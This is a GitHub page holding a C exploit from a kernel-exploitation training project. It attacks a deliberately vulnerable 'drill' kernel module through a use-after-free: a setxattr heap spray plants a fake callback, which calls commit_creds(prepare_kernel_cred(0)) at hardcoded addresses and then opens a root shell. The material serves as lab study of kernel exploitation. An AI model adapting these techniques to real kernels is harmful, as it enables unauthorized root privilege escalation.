forked from a13xp0p0v/kernel-hack-drill
-
Notifications
You must be signed in to change notification settings - Fork 0
/
drill_exploit_uaf.c
193 lines (151 loc) · 3.69 KB
/
drill_exploit_uaf.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
/*
* Funny experiments with Linux kernel exploitation of use-after-free.
* Run the kernel with "pti=off oops=panic ftrace_dump_on_oops nokaslr"
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/syscall.h>
#include <stdbool.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <stdint.h>
#include <sys/xattr.h>
#define MMAP_SZ 0x2000
#define PAYLOAD_SZ 3300
/* ============================== Kernel stuff ============================== */
/* Addresses from System.map (no KASLR) */
#define COMMIT_CREDS_PTR 0xffffffff81082f30lu
#define PREPARE_KERNEL_CRED_PTR 0xffffffff81083150lu
typedef int __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS_PTR;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED_PTR;
void __attribute__((regparm(3))) root_it(unsigned long arg1, bool arg2)
{
commit_creds(prepare_kernel_cred(0));
}
struct drill_item_t {
uint32_t foo;
uint64_t callback;
char bar[1];
};
/* ========================================================================== */
void run_sh(void)
{
pid_t pid = -1;
char *args[] = {
"/bin/sh",
"-i",
NULL
};
int status = 0;
pid = fork();
if (pid < 0) {
perror("[-] fork()");
return;
}
if (pid == 0) {
execve("/bin/sh", args, NULL); /* Should not return */
perror("[-] execve");
exit(EXIT_FAILURE);
}
if (wait(&status) < 0)
perror("[-] wait");
}
void init_payload(char *p, size_t size)
{
struct drill_item_t *item = (struct drill_item_t *)p;
memset(p, 0x41, size);
item->callback = (uint64_t)root_it;
printf("[+] payload:\n");
printf("\tstart at %p\n", p);
printf("\tcallback at %p\n", &item->callback);
printf("\tcallback %lx\n", item->callback);
}
int act(int fd, char code)
{
ssize_t bytes = 0;
bytes = write(fd, &code, 1);
if (bytes <= 0) {
perror("[-] write");
return EXIT_FAILURE;
}
return EXIT_SUCCESS;
}
int main(void)
{
unsigned char *spray_data = NULL;
int ret = EXIT_FAILURE;
int fd = -1;
int spray_fd = -1;
printf("begin as: uid=%d, euid=%d\n", getuid(), geteuid());
/*
* Prepare
*/
spray_data = mmap(NULL, MMAP_SZ, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (spray_data == MAP_FAILED) {
perror("[-] mmap");
goto end;
}
init_payload(spray_data, MMAP_SZ);
fd = open("/sys/kernel/debug/drill/drill_act", O_WRONLY);
if (fd < 0) {
perror("[-] open drill_act");
goto end;
}
printf("[+] drill_act is opened\n");
spray_fd = open("./foobar", O_CREAT, S_IRUSR | S_IWUSR);
if (spray_fd < 0) {
perror("[-] open failed");
goto end;
}
printf("[+] spray fd is opened\n");
if (act(fd, '1') == EXIT_FAILURE)
goto end;
else
printf("[+] DRILL_ACT_ALLOC\n");
if (act(fd, '2') == EXIT_FAILURE)
goto end;
else
printf("[+] DRILL_ACT_CALLBACK\n");
/*
* Exploit
*/
if (act(fd, '3') == EXIT_FAILURE)
goto end;
else
printf("[+] DRILL_ACT_FREE\n");
ret = setxattr("./", "foobar", spray_data, PAYLOAD_SZ, 0);
printf("setxattr returned %d\n", ret);
if (act(fd, '2') == EXIT_FAILURE)
goto end;
else
printf("[+] DRILL_ACT_CALLBACK\n");
if (getuid() == 0 && geteuid() == 0) {
printf("[+] finish as: uid=0, euid=0, start sh...\n");
run_sh();
ret = EXIT_SUCCESS;
} else {
printf("[-] heap spraying\n");
}
printf("[+] The End\n");
end:
if (spray_fd >= 0) {
ret = close(spray_fd);
if (ret != 0)
perror("[-] close spray_fd");
}
if (fd >= 0) {
ret = close(fd);
if (ret != 0)
perror("[-] close fd");
}
return ret;
}